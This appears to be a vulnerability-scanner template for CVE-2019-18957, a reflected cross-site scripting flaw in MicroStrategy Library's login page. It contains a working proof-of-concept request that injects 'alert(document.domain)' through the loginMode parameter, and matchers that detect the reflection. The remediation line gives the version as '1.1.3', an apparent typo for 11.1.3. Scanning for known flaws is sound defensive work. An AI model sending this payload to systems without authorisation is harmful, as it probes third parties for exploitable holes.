id: CVE-2019-18957

info:
  name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
  reference:
    - https://seclists.org/bugtraq/2019/Nov/23
    - https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18957
    - http://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - http://seclists.org/fulldisclosure/2019/Nov/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-18957
    cwe-id: CWE-79
    epss-score: 0.0454
    epss-percentile: 0.90616
    cpe: cpe:2.3:a:microstrategy:microstrategy_library:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_library
  tags: cve,cve2019,microstrategy,packetstorm,xss,seclists,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "previousLoginMode: alert(document.domain),"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203e33c2aa7da8848a31e66aa80a255fd0ff293a1feab2db564bc50a10b38bab23022100c4b4ca5e8dc8084d53ebbfc964fcf050f10adf619bd624ee78f0a53387b078d3:922c64590222798bb761d5b6d8e72950